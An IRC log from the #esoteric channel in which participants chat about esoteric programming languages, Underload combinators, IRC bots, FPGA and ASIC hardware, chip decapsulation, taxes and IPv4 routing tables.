16:31:08 <elliott> ais523_: in golfscript i think it would be one character
16:31:09 <elliott> just "reverse"
16:31:31 <ais523_> yep, the "pretty much" was explicitly with GolfScript and floGscript in mind
16:31:48 <ais523_> and my as-yet-unnamed anagolf-based language
16:32:19 <elliott> hmm, i can't actually find reverse on http://www.golfscript.com/golfscript/quickref.html
16:33:33 <ais523_> "reverse lines" is apparently 7 bytes in GolfScript, 2 in FlogScript
16:34:27 <ais523_> reversing the elements of a list is actually just 3 bytes in Underlambda: '*t
16:35:16 <ais523_> (t is fold, with no explicit zero: you can add the zero to the end of the list if you want to include that too, because Underlambda's untyped)
16:35:47 <ais523_> err, wait, you'd need to escape the list first
16:35:53 <ais523_> 'ae'*t
16:36:04 <ais523_> (and e is map)
16:37:35 -!- azaq23 has quit (Ping timeout: 246 seconds).
16:39:20 -!- azaq23 has joined.
16:40:39 -!- asiekierka has joined.
16:43:01 -!- ais523_ has quit (Quit: Page closed).
16:47:21 -!- evincar has joined.
16:47:36 <evincar> I return, with a vengeance.
16:47:40 <elliott> AAAAAAH
16:47:45 <evincar> Ohai.
16:48:08 <elliott> ^ul ()(S)((a)^(b)^(c)^)^
16:48:09 <fungot> ...bad insn!
16:48:10 <evincar> I'm working on something you'd like, then hate, then be indifferent toward, then hate, then like again.
16:48:13 <elliott> ...:(
16:48:14 <elliott> wut
16:48:24 <elliott> evincar: are you INSINUATING something about me
16:48:36 <evincar> elliott: I see what you did there.
16:48:47 <evincar> I hope you do. :P
16:48:47 <elliott> ... i don't
16:48:51 <elliott> :D
16:48:57 <evincar> You'll oscillate.
16:49:01 <ais523> elliott: what's that UL program meant to do?
16:49:03 <evincar> Sinusoidally, perhaps.
16:49:04 <elliott> evincar: oh wow
16:49:07 <ais523> it looks like a pretty obvious crash to me
16:49:07 <elliott> xD
16:49:18 <elliott> ais523: the a^b^c^ bit is meant to be a list represented as its folding instruction
16:49:19 <elliott> ohhh
16:49:21 <elliott> it should be ~^
16:49:27 <elliott> actually
16:49:28 <elliott> it should be
16:49:29 <elliott> given
16:49:31 <ais523> yep, and there should be some colons in there too
16:49:39 <elliott> PREVIOUS F
16:49:40 <elliott> it should be
16:49:42 <elliott> PREVIOUS CURRENT F
16:49:43 <elliott> and then ^
16:49:54 <elliott> ^ul ()(S)((a)~^(b)~^(c)~^)^
16:49:55 <fungot> a ...bad insn!
16:50:02 <ais523> also, isn't that map not fold?
16:50:04 <elliott> grr
16:50:05 <elliott> i need a dip
16:50:09 <elliott> ais523: no, the function is meant to take two arguments
16:50:15 <elliott> ais523: it starts with zero f on the stack
16:50:16 <elliott> then it becomes
16:50:21 <elliott> zero first-elem f
16:50:22 <ais523> heh, the two are basically the same in Underload
16:50:23 <elliott> then
16:50:27 <elliott> f(zero first-elem) f
16:50:28 <elliott> then
16:50:30 <elliott> f(zero first-elem) second-elem f
16:50:39 <elliott> f(f(zero first-elem) second-elem) f
16:50:43 <elliott> and then at the end it should pop the function
16:50:48 <ais523> Underlambda t works by dumping the whole list on the stack, then repeatedly running the operation you give
16:50:49 <elliott> but this seems like it'll be a bitch to do....
16:50:51 <elliott> *do...
16:50:53 <kfr> <elliott> i need a dip <- were you actually talking about orally consumed tobacco there?
16:50:58 <ais523> a number of times equal to the list length minus one
16:51:02 <ais523> kfr: no, a combinator
16:51:08 <kfr> Right
16:51:17 <ais523> elliott: Underload dip is a~*^
16:51:25 <elliott> i know
16:51:34 <elliott> ok so we want
16:51:45 <elliott> (push first elem) dip dup (^) dip
16:51:47 <ais523> kfr: it runs a program without the top stack element, then adds the element back again afterwards
16:51:49 <elliott> can that be simplified
16:51:49 <elliott> ?
16:51:51 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
16:52:01 <elliott> ((a))a~*^:(^)a~*^
16:52:02 <kfr> I was about to ask if Haskell has it
16:52:05 <elliott> that can surely be simplified
16:52:14 <kfr> But I guess that's that
16:52:27 <ais523> kfr: it doesn't really make much sense with Haskell's evaluation model, it's more a concatenative than functional combinator
16:52:51 <elliott> evincar: but yes stay you are cool
16:52:59 <ais523> but on lists rather than stacks, you could write it as "dip f h:t = h:(f t)"
16:53:09 <elliott> lists are stacks
16:53:13 <ais523> @pl let dip f (h:t) = h:(f t)
16:53:13 <lambdabot> (line 1, column 26):
16:53:13 <elliott> as far as the concatenative model is concerned
16:53:13 <lambdabot> unexpected end of input
16:53:13 <lambdabot> expecting variable, "(", operator, ":", "++", "<+>", ";" or "in"
16:53:20 <elliott> stacks are essentially linked lists
16:53:22 <ais523> elliott: well, yes
16:53:27 <elliott> @pl \f (h:t) -> h:(ft )
16:53:27 <lambdabot> const ((: ft) . head)
16:53:28 <elliott> @pl \f (h:t) -> h:(f t)
16:53:28 <lambdabot> (`ap` tail) . (. head) . flip ((.) . (:))
16:53:32 <elliott> gross
16:53:34 <ais523> oh, it has to be a function not a statement
16:53:40 <elliott> haskell has no statements
16:53:45 <elliott> what you said there is only valid in a do block
16:53:50 <ais523> err, yes, that's what I meant by statement
16:53:53 <evincar> elliott: It's noon here and I've been awake since 11pm yesterday. So forgive me if I suddenly fall asleep.
16:53:53 <elliott> right
16:54:01 <elliott> evincar: THAT WOULD BE GIVING UP
16:54:06 <ais523> and that's the ugliest pointfree form I've seen ever
16:54:20 <kfr> lol
16:54:41 <ais523> Underload's inherently point-free, and a~*^ is pretty simple
16:54:42 <evincar> It's almost pornographic.
16:54:53 <ais523> but sometimes it gets ugly for other things
16:54:55 <zzo38> One way avoiding bot-loops would be to make their output as NOTICE messages instead of PRIVMSG
16:55:03 <ais523> (OTOH, dip is much more important in Underload than Haskell)
16:55:06 <kfr> @pl \a b c d e f g -> g f a c e d b
16:55:07 <lambdabot> flip . ((flip . ((flip . ((flip . (flip .)) .)) .) . flip . ((flip . (flip .)) .) . flip . (flip .)) .) . flip . (flip .) . flip (flip . flip id)
16:55:11 <ais523> zzo38: indeed, and that's what technically they should do
16:55:20 <ais523> and probably would, were it not for mIRC
16:55:27 <zzo38> ^ul (<CTCP>TIME<CTCP>)S
16:55:28 <kfr> Flipping burgers
16:55:34 <kfr> freenode is my favourite mIRC server.
16:55:47 <elliott> ais523: notices are ugly
16:55:49 <elliott> in almost any client
16:55:51 <elliott> and annoying too
16:55:57 <evincar> ais523: Were it not for mIRC, many people would be spared having to begin or end sentences with "were it not for mIRC".
16:55:59 <zzo38> elliott: I don't think so.
16:56:00 <elliott> anyway, botloops are _fun_
16:56:02 <ais523> zzo38: technically, fungot - and everyone else - misparsed that, CTCPs are supposed to be allowed in the middle of a line
16:56:03 <fungot> ais523: ptys work perfectly well
16:56:12 <elliott> * Received a CTCP TIME from fungot (to #esoteric)
16:56:13 <fungot> elliott: ( define ( fnord liste symbol?) ( else ' even)) x sort ( filter xs ( x)
16:56:14 <elliott> :>
16:56:16 <elliott> worked for me
16:56:26 <ais523> hmm, clients should probably just show notices as -fungot- rather than <fungot>, with maybe a color change, and leave them identical
16:56:27 <fungot> ais523: wait a minute, i need to do that
16:56:30 <ais523> I think that's what clog does
16:56:37 <elliott> -- is ugly :P
16:56:44 <elliott> ^ul (<CTCP>ACTION asdf<CTCP>)S
16:56:45 * fungot asdf
16:56:45 <evincar> (I take that back. According to Google, no one has ever said those five words in sequence before.)
16:56:49 <ais523> -ugly? doing it on every line is famously scary-
16:56:52 <elliott> ^ul (x<CTCP>ACTION asdf<CTCP>y)S
16:56:53 <fungot> x<CTCP>ACTION asdf<CTCP>y
16:56:57 <elliott> ^ul (x<CTCP>PING<CTCP>y)S
16:56:58 <fungot> x<CTCP>PING<CTCP>y
16:57:02 <elliott> * Ping reply from zzo38: ? second(s)
16:57:11 <elliott> zzo38 wins the "only client that obeys the RFC" prize
16:57:13 <elliott> why am i not surprised?
16:57:26 <ais523> I thought zzo38 still did IRC over telnet/netcat?
16:57:37 <ais523> I obey that part of the RFC too, when I'm IRC'ing by hand
16:57:39 <zzo38> ais523: No, I wrote my own IRC client.
16:57:49 <elliott> ais523: he wrote his own client in PHP
16:58:00 <ais523> elliott: I'm not surprised that it obeys the standard either
16:58:05 <elliott> ais523: that consists of an IRC-protocol syntax highlighter, and a way to type "PRIVMSG #foo :" quickly
16:58:26 <elliott> *completely* unrelatedly, all over the globe, stereotypes continue to be obeyed
16:58:28 <ais523> haha, that was unexpected, but not surprising either
16:58:28 <zzo38> (Command-line PHP, as it turns out. If I ever rewrite it, it will use C (Enhanced CWEB) instead probably)
16:58:52 <elliott> link us to PHIRC again zzo38?
16:59:00 <zzo38> elliott: It actually does a few more things that just syntax highlighting and way to type "PRIVMSG #foo :" quickly. It does a few other things too.
16:59:09 <elliott> <ais523> haha, that was unexpected, but not surprising either
16:59:10 <elliott> what was?
16:59:16 <ais523> the way zzo38's client works
16:59:18 <elliott> zzo38: oh right, you can script it right?
16:59:20 <elliott> with a Forth dialect?
17:00:50 <zzo38> Actually it has other features too. /F can be used to set filters, and /SET SHOWTIME + will make it display the time with each message received. And it will mask the parameter for any command line starting with PASS
17:01:00 <zzo38> It also has macros which can be assigned to function keys.
17:01:26 <elliott> can you link again?
17:01:51 <zzo38> http://zzo38computer.cjb.net/prog/PHIRC/
17:02:31 <elliott> Can you offer the source code in a Free archive format such as tar?
17:02:35 <ais523> wow, the gcc bug report about x87 weirdness (323, fixed eventually for C via the slow -fexcess-precision=standard that makes absolutely sure floating point is vaguely sane) ended up filling up with Exchange error messages about bounced email from what looks like a spambot address
17:02:46 <zzo38> elliott: OK I can do that. Just a minute.
17:02:52 <elliott> I use gNewSense, so I cannot use any file format that is not openly standardised with a Free Software implementation.
17:03:11 <elliott> ais523: heh
17:03:13 <ais523> elliott: but .zip is an open standard with several free software implementations, IIRC
17:03:38 <elliott> ais523: No, ZIP files are not an open standard.
17:03:48 <elliott> Oh, it is.
17:03:53 <elliott> ais523: Well, the original implementation has to be Free!
17:04:28 <kfr> I want a desktop made out of completely open source hardware!
17:04:42 <ais523> elliott: it seems muddled
17:04:48 <zzo38> OK I made a .tar.gz now available
17:04:56 <kfr> 7zip o/
17:04:57 <evincar> elliott: I'ma snooze a bit before class, but I'll be back on. When you get a sec, browse the logs from earlier and read up on the thingy I'm working on and started telling ais523 about.
17:05:10 <ais523> PKWare released the original specification to the public domain (although not their original implementation), also the file extension .zip
17:05:17 <ais523> I didn't even realise you /could/ release a file extension to the public domain
17:05:24 <ais523> (as in, that such an operation was meaningful)
17:05:28 <elliott> evincar: hmm, I didn't see that in the logs
17:05:43 <elliott> oh, seems so
17:05:44 <evincar> elliott: It'll be fun to hear you yell at me about it. :P
17:05:46 <zzo38> kfr: I would also like such a thing (currently I have no such thing)
17:05:56 -!- evincar has quit (Quit: Sleemp.).
17:06:17 <kfr> zzo38: I know somebody on freenode who makes large feature size ASICs at home haha
17:06:28 <kfr> I've also looked into VHDL/Verilog + FPGAs etc
17:06:39 <kfr> But FPGAs would obviously not be free either
17:06:58 <elliott> YOU SUCK AND YOUR LANGUAGE SUCKS
17:06:59 <ais523> kfr: seriously, someone making ASICs at home?
17:07:07 <ais523> what do they make them out of?
17:07:07 <zzo38> Yes the ZIP files is now open standard, whether or not the original implementation is Free is not important as long as it is open standard and Free implementation are available or that you can write one.
17:07:11 <kfr> ais523: Oh, many freelancers do that commercially
17:07:21 <kfr> I know somebody in Japan who does it commercially
17:07:24 <ais523> I'm surprised that they can get sufficiently pure silicon
17:07:26 <zzo38> Open standards is more important I think.
17:07:41 <kfr> There are some machines which can do it with larger feature sizes, I think?
17:07:58 <kfr> Let me sanity check in ##electronics
17:08:02 <kfr> At least he told me he did
17:08:05 <ais523> the other parts of the process are not completely implausible to do on a small scale, although getting the accuracy required for the photomasks could be painful (presumably some sort of optical solution)
17:08:10 <zzo38> How are ASICs build?
17:08:18 <elliott> I make ASICs out of paperclips.
17:08:40 <kfr> zzo38: Well, the mainstream x86 ones are made in extremely expensive fabs in Taiwan
17:08:48 <kfr> Which cost 50-75 billion USD each
17:09:00 <kfr> And they need to make a new one for every new feature size
17:09:17 <kfr> Anyways, it's based on photolithography
17:09:29 <ais523> zzo38: you take some very pure silicon, then expose it alternately to an environment made out of a gas that reacts with silicon to form an n-type compound, and a gas that reacts with silicon to form a p-type compound, and oxygen (which reacts with silicon to form an insulator)
17:09:46 <ais523> with various masks used to prevent the gas getting to parts of the chip you don't want it to affect
17:10:05 <ais523> the length of time it stays in the gas, and the temperature, determines how deep the n-type, p-type, or insulating region goes into the chip
17:10:05 <kfr> You basically change physical properties of a wafer by combining light exposure with extremely fine masks or something like that
17:10:12 <elliott> sounds like great fun!
17:10:15 <kfr> Gas? Oh boy
17:10:18 <kfr> I must be totally outdated
17:10:52 <ais523> so you can get a 3-D structure by, say, letting an n-type compound deep into the chip, then overriding it nearer the surface with a p-type compound that cancels it out
17:11:26 <ais523> kfr: the light doesn't change silicon directly, you use it to let the mask into a particular shape
17:11:39 <ais523> much the same way you make PCBs, except massively more precise
17:11:57 <ais523> then the mask regulates chemical reactions which are what makes the n-type and p-type layers
17:12:18 <zzo38> Is there a open specification binary format for ASIC layers?
17:12:19 <ais523> originally people used silicon dioxide as an insulator, and aluminium on the surface as a conductor
17:12:48 <kfr> zzo38: This stuff is all super vendor specific as far as I know
17:13:01 <ais523> but nowadays the aluminium layer isn't used, they just nest a bunch of diodes instead to form effectively a wire (as two diodes in opposite directions don't let any current through at all)
17:13:27 <ais523> and likewise, the alternating-diode trick's used for insulators inside the ASIC itself (silicon dioxide's still used to protect the surface of the resulting ASIC)
17:13:47 <zzo38> kfr: Yes so is FPGA, I think. I would like to see an open standard for these kind of things, and for FPGA, also a FPGA chip that follows the open standard and has no secure loading mode.
17:13:54 <ais523> kfr: as far as I remember, there's a standard format for ASIC specification, in that the format of the file itself is specified
17:13:57 <ais523> but it's basically as general as XML
17:14:02 <ais523> and what it actually /means/ is up to the individual vendors
17:14:06 <ais523> thus, it effectively isn't open
17:14:39 <zzo38> (That way it is possible to make a FPGA that modifies itself and that you can use the same FPGA program with different vendors and it will still modify itself in the same way.)
17:14:44 <ais523> zzo38: even with a secure loading mode, it would still work pretty well, as long as it still allowed reflashing
17:14:56 <ais523> so long as it was possible to turn the mode in question off by wiping the chip
17:15:42 <zzo38> ais523: Maybe it would, if you can switch off secure loading mode it would work (so that you can load unencrypted data), but I would prefer to use a FPGA with no secure mode.
17:15:54 <ais523> (explanation for people lacking content here: secure loading modes make FPGAs and similar concepts write-only, so people don't grab your source code from the chip directly once you ship it; on several models, you can bring the FPGA back to a read-write state by erasing it, preventing the data that was on there being read)
17:16:09 <fizzie> ^ignore
17:16:09 <fungot> ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot)!
17:16:15 <fizzie> No, there's no lambdabot on the list.
17:16:20 <ais523> there probably should be
17:16:22 <ais523> or someone will try
17:16:29 <elliott> we already did
17:16:31 <elliott> but it was boringly easy
17:16:33 <elliott> since you can ^def
17:16:34 <ais523> also, I remember optbot
17:16:39 <elliott> so i wouldn't bother
17:16:39 <ais523> well, almost
17:16:47 <elliott> ais523: i was going to bring optbot back
17:16:48 <elliott> but then didn't
17:16:48 <ais523> didn't it just spout random lines from the logs?
17:16:50 <elliott> maybe i will
17:16:51 <fizzie> ^ignore ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot)!
17:16:51 <fungot> OK.
17:16:55 <elliott> ais523: yes, but more importantly,
17:16:57 <elliott> it set the topic
17:16:58 <fizzie> I don't think Sparkbot actually exists.
17:17:00 <elliott> every 6 hours on the dot
17:17:04 <fizzie> My logs didn't really find anything about it.
17:17:05 <elliott> ais523: to a random log quote
17:17:09 <elliott> and it was great
17:17:46 <kfr> ais523: Yeah I know somebody who worked with encrypted Flash stuff for his FPGA
17:18:07 <ais523> still, there are some cases of people extracting the "source" even from ASICs
17:18:12 <kfr> Designed to make reverse engineering difficult
17:18:16 <ais523> someone cut open a 6502 and scanned it with an electron microscope
17:18:23 <kfr> ais523: Do you know azonenberg? He does that
17:18:25 <ais523> in order to make a bug-compatible emulator
17:18:27 <kfr> Acid and microscopes
17:18:28 <ais523> kfr: no, I don't
17:18:35 <kfr> He's a regular on ##re
17:18:43 <kfr> And many other related channels
17:18:50 -!- cal153 has quit (Ping timeout: 240 seconds).
17:19:00 <fizzie> Being a "regular" on a regular expression -related channel would be so punny.
17:19:33 <elliott> fizzie: hurf durf
17:19:36 <kfr> http://siliconpr0n.wikispaces.com/Tutorial+on+epoxy+decapsulation
17:20:20 <kfr> fizzie: The channel is primarily about cracking commercial software and reverse engineering smart cards and jailbreaking new embedded systems and such
17:20:22 <ais523> "epoxy decapsulation" sounds like a sort of execution method
17:20:44 <fizzie> I gathered as much from the context.
17:20:47 <kfr> That's his page
17:21:38 <kfr> ais523 http://siliconpr0n.wikispaces.com/Tutorial+on+using+micropositioners
17:22:17 <kfr> The funniest part about this is that he never had any formal training in EE
17:22:23 <kfr> And he's a CS undergrad or something
17:22:39 <kfr> But his primary interest is hardware really
17:23:39 <ais523> kfr: I'm the other way round, my first degree was in electronic engineering
17:23:45 <ais523> but I'm doing my PhD in computer science
17:24:12 <ais523> (electronic engineering is a much better undergrad degree than computer science, as the first is much more expensive than the second to study on your own without a university's equipment)
17:24:23 <ais523> (and you can do them both at much the same time, one at university, one in your free time)
17:25:25 <elliott> epoxy decapsulation :D
17:26:24 <ais523> I can tell what the phrase means (clearly the opposite of epoxy encapsulation), but it sounds like it should be much more dramatic than it is
17:30:25 <fizzie> Ready the Epoxy Decapsulation Squad, we have a runaway.
17:31:04 -!- asiekierka has quit (Remote host closed the connection).
17:36:42 <Phantom_Hoover> Square Root of Minus Garfield is rapidly hurtling towards the Garfield fo
17:37:00 <Phantom_Hoover> *Garfield <foo>inus Garfieldocalypse.
17:39:01 <ais523> hmm, yesterday's (i.e. the current) Lightning Made of Owls is very deep
17:40:14 <elliott> ais523: walls aren't that deep!
17:40:57 <ais523> incidentally, I think there's actually a fifth wall that it's possible to break as well
17:40:57 <elliott> segfaults -- i love segfaults!
17:41:03 -!- cal153 has joined.
17:41:08 <elliott> oh, that's what it's referring to?
17:41:09 <elliott> heh
17:41:16 <ais523> elliott: not directly, I don't think
17:41:22 <ais523> only by saying it's a meta-meta-joke
17:41:32 <elliott> http://www.mezzacotta.net/owls/?comic=328 same person
17:41:36 <ais523> indeed
17:41:49 <ais523> breaking the fourth wall happens when the fictional characters become aware that there's an audience, and that they themselves are fictional
17:41:52 <elliott> http://www.mezzacotta.net/owls/?comic=326
17:42:05 <ais523> breaking the fifth wall is when they start exploiting effects of the media their fictional universe is in
17:42:11 <elliott> ais523: breaking the fifth wall happens when the real author becomes aware that there's characters, and that they themselves are real!
17:42:26 <elliott> so, where's the fifth wall? perpendicular to the other four?
17:42:30 <elliott> (Onion joke)
17:42:35 <ais523> e.g. I Wanna Be The Fangame's "lag spike", which moves backwards and forwards really quickly just to make Windows unresponsive
17:42:47 <elliott> haha
17:43:02 <ais523> and likewise in the Impossible Quiz, where some of the questions (maybe only in the sequels?) can only be answered by exploiting corner cases of Flash's mouse handling
17:43:30 <elliott> no, you have to do that kind of thing in the original
17:43:36 <ais523> on a TV program, breaking the fifth wall would be if the characters started doing subpixel antialiasing
17:43:40 <elliott> haha
17:43:50 <ais523> exploiting the way the viewers' TV screens were likely to work
17:44:19 <elliott> hmm, now what's wrong with this ...
17:44:34 <kfr> "Java says one file per class, I say one file per function"
17:45:06 <ais523> kfr: Java doesn't actually say that at all, you can put all the classes in one file and it works just fine
17:45:11 <ais523> it's just anywhere in between that you have the issue
17:48:17 <ais523> (note: technically, this works because /public/ classes have to be in a file to themselves; but you can make the other classes file-private and have just the one public class)
17:49:52 <fizzie> That doesn't really work if you need to have multiple public classes due to some sort of an interface.
17:50:00 <fizzie> I guess it normally works.
17:50:36 <fizzie> If someone gives you an object of a non-public class, I suppose you can do reflection on it freely?
17:50:52 <fizzie> If it's just the class declaration you can't access.
17:52:09 <fizzie> It is still "one file per class" if you're speaking of .class files, though.
17:54:26 <ais523> I think you can reflect a non-public class, but I'm not sure
17:54:45 <ais523> there might be some sort of visibility exception, like if you try to use reflection to assign to a non-public property of a class
17:54:49 <zzo38> fizzie: I think you can put all the .class files together in a .jar file?
17:55:13 <elliott> 11:27:23 <evincar> Basically you've got the absolute progression of time, and the state of the program is a pure function of the current moment in time.
17:55:13 <elliott> 11:27:45 <evincar> Events occur, and effects may result, and generate further events, ad whateverum.
17:55:13 <elliott> 11:28:12 <evincar> Effects are evaluated lazily, so nothing happens until something depends on it.
17:55:13 <elliott> 11:28:31 <evincar> Which keeps the language purely functional, and lets you start jumping around and forking the timeline however you please.
17:55:15 <zzo38> (A .jar file has the same format as a .zip file)
17:55:21 <elliott> that's like FRP if you took away the part where it's sane
17:55:39 <elliott> 11:29:51 <kfr> What's the significance of the lemons in the Esolangs logo?
17:55:39 <elliott> /facepalm
17:55:55 <ais523> there's a thread about the limes in the Esolangs logo
17:56:03 <elliott> 11:32:23 <Ilari> There is all sorts of fun with complexity classes. Such as R being impossible to construct explicitly...
17:56:03 <elliott> WELL I DID IT
17:56:05 <ais523> but it was mostly people concluding that they didn't know either, and probably there wasn't one
17:56:29 <elliott> and even implemented it
17:56:30 <elliott> *it!
17:56:30 <elliott> :p
17:56:32 <kfr> elliott: Well what does it stand for? :[
17:57:28 <zzo38> But I do guess that if you want to, you might make a programming language where each function is a separate file in a ZIP archive.
17:57:55 <kfr> Ew, then I'd have to write decompression stuff
17:59:29 <elliott> 11:32:57 <ais523> it's hard to explain, because all the terminology required for time travel doesn't yet exist in English
17:59:29 <elliott> 11:33:00 <ais523> or probably any other language
17:59:30 <elliott> wioll haven been
17:59:47 <ais523> elliott: I think that was just a joke
17:59:57 <elliott> ais523: you think what was just a joke?
18:00:12 <ais523> the time travel verbs thing in HHGTTG
18:00:19 <elliott> Showing results for "will have been". Search instead for "wioll haven been"
18:00:19 <elliott> why the fuck do you think I quoted it, Google?
18:00:21 <ais523> as in, Douglas Adams just invented some verblike forms
18:00:24 <elliott> because you fucked it up beforehand!
18:00:38 <ais523> rather than actually having the meanings plotted out
18:00:47 <ais523> elliott: I think you can use a leading + to prevent the did-you-mean triggering
18:02:03 <elliott> but quotes should do that!
18:03:14 <ais523> I'm always amused when people complain about Wikipedia's search feature
18:03:32 <quintopia> hello zzo38
18:03:35 <ais523> to me, it's better than most other searches, for exactly the same reasons other people complain about
18:03:39 <zzo38> Wikipedia's search feature seems to work better than Google, I think.
18:03:44 <elliott> ais523: well, I can never _find_ what I'm looking for with it
18:03:50 <ais523> I can
18:03:57 <ais523> but I suppose we're looking for different things
18:04:11 <ais523> on Wikipedia, you don't put precisely what you're looking for, but rather the name of the page you think it will be on
18:04:32 <ais523> and the names follow a consistent enough pattern that you can generally guess what the page will be
18:05:14 <zzo38> ais523: Yes they do, I just have C-l :w page name and I can usually guess the name of the page I want, either that or a name of a page that will redirect to the page I want. Since I can type fast it works better than disambiguation
18:09:45 -!- pikhq_ has joined.
18:10:13 -!- pikhq has quit (Ping timeout: 265 seconds).
18:11:02 <quintopia> elliott: you have to do +"sjkdfhskdjfh" to get exactly what you asked for :/
18:11:51 <ais523> quintopia: but elliott didn't ask for sjkdfhskdjfh
18:12:47 <quintopia> ais523: sjkdfhskdjfh is a new standard metasyntactic variable
18:14:25 <variable> "=\
18:14:47 <Gregor> I owe $1,600 in taxes to Indiana.
18:14:49 <Gregor> YAAAAAAAAAAAAAAAAAAAY
18:14:50 <elliott> dfijdfgsodgjoidjgsjfgsdlkfgjslkdjgfsdjkgf
18:14:57 <elliott> Gregor: I owe Gregor in taxes to $1,600.
18:16:49 <quintopia> Gregor: I converted the Velota Hello World program to your steinway.
18:17:01 * Gregor nods sagely.
18:17:18 -!- zzo38 has quit (Remote host closed the connection).
18:17:54 <ais523> Gregor: how does taxation work in the US? In the UK, unless you have an unusual financial setup, you fill in one form when you get a job, and are given a form whenever you leave a job, and taxes just work automatically from there
18:18:07 <ais523> to the extent that people don't notice them much, maybe that's the idea
18:18:31 <ais523> (to be precise, a percentage is taken out of your wage and given to the government by the company; and another percentage in sales tax whenever you buy anything with the resulting money)
18:18:34 <Gregor> ais523: It's mostly only a bit less automatic, with the caveat that different states are different taxing authorities, so if you live in one but work in another, they rape you a lot.
18:18:56 <ais523> hmm, it seems to be in everyone's interest for taxation to be automatic
18:19:35 <Gregor> ais523: Basically, your employer estimates how much tax you owe, then you fill out a form saying what your taxable deductions are (child credits, that kind of malarky), and if the estimates were off, somebody gives somebody money.
18:19:51 <elliott> don't US citizens living abroad have to pay taxes?
18:19:54 <Gregor> But you have to fill out one of those forms for the federal government, and one for every state you worked in that has income tax.
18:20:00 <elliott> that's rather fucked up, I've always thought
18:20:03 <ais523> ah, so forms every year
18:20:04 <Gregor> elliott: Yup.
18:20:15 <elliott> lame
18:20:19 <ais523> elliott: although only if they pay less tax to their local government then they would in the US
18:20:23 <ais523> s/then/than/
18:20:25 <ais523> but it's still ridiculous
18:20:26 <elliott> ais523: ...what
18:20:28 <elliott> that doesn't even make sense!
18:20:41 <ais523> it sort-of half makes sense
18:20:55 <ais523> in that you aren't allowed to emigrate to avoid taxes, but are allowed to emigrate for other reasons
18:21:07 <ais523> but the justification breaks down at one level
18:21:11 <ais523> in that it makes no sense either
18:23:06 <elliott> heh
18:23:30 <ais523> I'm amused that you thought it made sense without the restriction, though
18:23:57 <ais523> an interesting fact about the UK: if you're not a UK citizen, if you enter the country for just a few days (say on holiday), then when you leave again you can get a refund on all the sales tax you paid
18:24:27 <ais523> so long as you remember to do so, and have been really pedantic about collecting tax receipts (which are often not the same thing as ordinary receipts that you're given when you buy something)
18:25:36 <Gregor> ais523: In Indiana, if you go buy things out of state without sales tax (and they catch you), you'll get charged Indiana sales tax. In Oregon, if you go to Washington and buy things WITH sales tax, they'll refund you :P
18:25:50 <ais523> who, Washington or Oregon?
18:26:03 <elliott> <ais523> I'm amused that you thought it made sense without the restriction, though
18:26:04 <elliott> no i didn't
18:26:07 <elliott> well
18:26:09 <Gregor> ais523: Washington
18:26:15 <elliott> i thought it made sense in the "let's just be horrible and evil" way :)
18:26:34 <ais523> yep, I was wondering if you thought it made sense because it was arbitrarily evil
18:26:40 <ais523> and putting a restriction on that made it less os
18:26:41 <ais523> *so
18:26:46 <ais523> well, less evil, more arbitrary though
18:29:05 <fizzie> ais523: Does that exempt-from-UK-sales-tax thing work for EU citizens? (Because the similar thing in France doesn't.)
18:29:17 <ais523> fizzie: I don't know, but it wouldn't surprise me
18:29:54 <ais523> certainly, when leaving the UK (i.e. you've crossed the border at an airport into an international area), you have to pay UK sales tax if you're travelling to a location in the EU, but not otherwise
18:30:11 <ais523> so when you buy something, you have to show your boarding pass so they can work out how much tax to charge
18:32:06 <elliott> 13:03:46 • ais523 golfs his or her Slashdot signature
18:32:06 <elliott> 13:04:01 <ais523> (it's an INTERCAL addition without using the stdlib, I noticed a way to save another character)
18:32:09 <elliott> that "his or her"
18:32:10 <elliott> WJW
18:32:35 <ais523> elliott: I feel so dirty typing gendered pronouns, and have to stop and think about whether I actually /know/ they're correct or not
18:32:52 <ais523> in here, there's no such need, I can just say "they" or "eir" or "his or her" without thinking
18:32:58 <ais523> regardless of the sentence they're in
18:33:29 <elliott> 13:14:55 <Ilari> Looking at the press confrence speakers: They appear to be the the highest-ranking persons in ICANN (representing IANA), NRO (represents RIRs), ISOC and IAB. You don't have that sort of cast if one isn't announcing something really, really major...
18:33:29 <elliott> 13:15:32 <fizzie> They're going to announce what they're going to have for lunch next week.
18:33:31 <elliott> :D
18:33:32 <fizzie> Certanly it is considerate for you to not just go on and assume you would agree with you about which pronoun to use.
18:33:38 -!- asiekierka has joined.
18:33:46 <elliott> "Do you have... anything else to announce?" "Nope!"
18:34:25 <fizzie> I still think it's going to be the bit-flip thing.
18:35:55 <ais523> what bit-flip thing?
18:36:46 <fizzie> ais523: A surprise announcement that they're going to invert the bits in all IPv4 network prefixes, for long-term 0/1 balance reasons.
18:37:00 <ais523> ah
18:37:15 <ais523> 0/1 balance is actually an incredibly serious issue in electronic engineering on occasion
18:37:19 <ais523> although in the short term, not the long term
18:39:10 <elliott> 13:26:07 <fizzie> "When ARIN receives its last /8 IPv4 allocation from IANA, a contiguous /10 IPv4 block will be set aside and dedicated to facilitate IPv6 deployment. Allocations and assignments from this block must be justified by immediate IPv6 deployment requirements."
18:39:11 <elliott> wut?
18:39:16 <elliott> 13:26:35 <fizzie> ("Examples of such needs include: IPv4 addresses for key dual stack DNS servers, and NAT-PT or NAT464 translators.")
18:39:16 <elliott> Ah.
18:41:30 <elliott> 14:38:52 <fizzie> $ cat /proc/sys/net/ipv4/route/max_size
18:41:30 <elliott> 14:38:52 <fizzie> 1048576
18:41:30 <elliott> 14:39:06 <fizzie> My table is smaller. :v
18:41:30 <elliott> 14:39:20 <fizzie> s#v#/#
18:41:30 <elliott> I preferred :v.
18:42:25 <kfr> [root@niflheim ~]# cat /proc/sys/net/ipv4/route/max_size
18:42:25 <kfr> 524288
18:42:28 <kfr> :[
18:43:08 <ais523> why do you have to be root to do that?
18:43:14 <ais523> or are you just root for the sake of it?
18:43:30 <ais523> it's 524288 for me too
18:43:30 <kfr> I was doing iptables stuff in that shell
18:43:33 <ais523> a much-unloved power of 2
18:43:57 <elliott> ais523: what suggests he's root there?
18:44:12 <ais523> elliott: the root@ and # in the shell prompt
18:44:17 <elliott> ais523: oh, not fizzie?
18:44:20 <ais523> no, kfr
18:44:27 <elliott> ais523: right. i, uh, don't see his messages. :p
18:44:44 -!- Zuu_ has changed nick to zuu.
18:44:49 -!- zuu has changed nick to Zuu.
18:45:49 <fizzie> As was seen after that, my phone had the smallest table of them all, just 32768.
18:46:30 <fizzie> Of course it might not be very often that a phone is being used in a network setup that needs more than 30 thousand prefixes.
